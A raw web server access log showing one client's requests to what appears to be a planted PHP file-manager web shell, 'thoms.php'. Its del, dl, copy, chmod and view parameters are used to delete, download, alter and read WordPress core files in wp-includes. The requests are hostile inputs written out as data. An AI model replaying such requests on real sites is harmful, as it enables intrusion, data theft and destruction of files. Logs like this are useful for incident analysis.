45.135.193.11 - - [11/Sep/2026:23:20:05 -0400] "GET /thoms.php?del=class-wp-dependency.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-dependency.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:05 -0400] "GET /thoms.php?dl=class-wp-http-encoding.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59346 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-encoding.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:05 -0400] "GET /thoms.php?del=class-wp-theme-json-data.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59353 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-data.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:06 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11846 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:06 -0400] "GET /thoms.php?dl=class-wp-user-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:06 -0400] "GET /bestzyx.com.tw/wp-includes/cache-compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:06 -0400] "GET /thoms.php?chmod=php-ai-client&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=php-ai-client&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:06 -0400] "GET /bestzyx.com.tw/wp-includes/cron.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:06 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php HTTP/1.1" 200 13289 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:06 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:06 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=kses.php HTTP/1.1" 200 40642 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:06 -0400] "GET /thoms.php?del=abilities-api.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=abilities-api.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:07 -0400] "GET /bestzyx.com.tw/wp-includes/class-simplepie.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:07 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fmedia.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fmedia.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:07 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=bookmark-template.php HTTP/1.1" 200 15888 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=bookmark-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:07 -0400] "GET /thoms.php?chmod=class-wp-ajax-response.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-ajax-response.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:07 -0400] "GET /thoms.php?chmod=class-wp-comment-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:07 -0400] "GET /thoms.php?chmod=class-wp-speculation-rules.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=class-wp-speculation-rules.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:07 -0400] "GET /thoms.php?del=class-wp-application-passwords.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?del=class-wp-application-passwords.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:07 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fpost.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fpost.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:07 -0400] "GET /thoms.php?dl=class-wp-feed-cache-transient.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache-transient.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:07 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fcertificates HTTP/1.1" 200 12718 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fcertificates" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:07 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fabilities-api.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11866 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fabilities-api.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:08 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:08 -0400] "GET /bestzyx.com.tw/wp-includes/feed-rss.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:08 -0400] "GET /thoms.php?chmod=class-wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:08 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffunctions.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffunctions.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:08 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=script-loader.php HTTP/1.1" 200 61341 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=script-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:08 -0400] "GET /thoms.php?chmod=post-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=post-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:08 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=style-engine.php HTTP/1.1" 200 14331 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=style-engine.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:08 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:08 -0400] "GET /thoms.php?chmod=class-wp-filter-sentinel.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-filter-sentinel.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:08 -0400] "GET /thoms.php?del=post-formats.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=post-formats.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:08 -0400] "GET /bestzyx.com.tw/wp-includes/speculative-loading.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:08 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:08 -0400] "GET /thoms.php?del=class-wp-block-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-block-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:09 -0400] "GET /thoms.php?chmod=PHPMailer&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=PHPMailer&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:08 -0400] "GET /thoms.php?del=rewrite.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59319 "http://163.245.207.76:443/thoms.php?del=rewrite.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:09 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-block-styles-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:09 -0400] "GET /thoms.php?chmod=class-simplepie.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-simplepie.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:09 -0400] "GET /thoms.php?del=block-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59355 "http://163.245.207.76:443/thoms.php?del=block-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:09 -0400] "GET /thoms.php?chmod=default-constants.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=default-constants.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:09 -0400] "GET /thoms.php?chmod=class-wp-theme.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:09 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=https-migration.php HTTP/1.1" 200 13656 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=https-migration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:09 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-json.php HTTP/1.1" 200 22292 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:09 -0400] "GET /thoms.php?del=class-wp-network-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59357 "http://163.245.207.76:443/thoms.php?del=class-wp-network-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:10 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-template.php HTTP/1.1" 200 12567 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:09 -0400] "GET /thoms.php?del=comment.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=comment.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:10 -0400] "GET /thoms.php?chmod=class-wp-editor.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=class-wp-editor.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:10 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-exception.php HTTP/1.1" 200 12040 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-exception.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:10 -0400] "GET /thoms.php?dl=class-wp-duotone.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-duotone.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:10 -0400] "GET /thoms.php?chmod=class-wp-site.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:10 -0400] "GET /thoms.php?chmod=theme.json&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=theme.json&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:10 -0400] "GET /thoms.php?dl=comment-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59332 "http://163.245.207.76:443/thoms.php?dl=comment-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:10 -0400] "GET /thoms.php?dl=sitemaps.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=sitemaps.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:11 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class.wp-styles.php HTTP/1.1" 200 12090 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:10 -0400] "GET /thoms.php?del=ai-client&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59297 "http://163.245.207.76:443/thoms.php?del=ai-client&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:11 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-network-query.php HTTP/1.1" 200 17954 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-network-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:11 -0400] "GET /thoms.php?del=class-wp-http-streams.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?del=class-wp-http-streams.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:11 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ms-default-constants.php HTTP/1.1" 200 13724 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ms-default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:11 -0400] "GET /bestzyx.com.tw/wp-includes/block-patterns/ HTTP/1.1" 200 1510 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ftheme.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ftheme.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:11 -0400] "GET /thoms.php?dl=template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59319 "http://163.245.207.76:443/thoms.php?dl=template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:12 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=block-template.php HTTP/1.1" 200 18595 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:11 -0400] "GET /thoms.php?del=block-supports&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=block-supports&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:12 -0400] "GET /thoms.php?dl=ai-client.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=ai-client.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
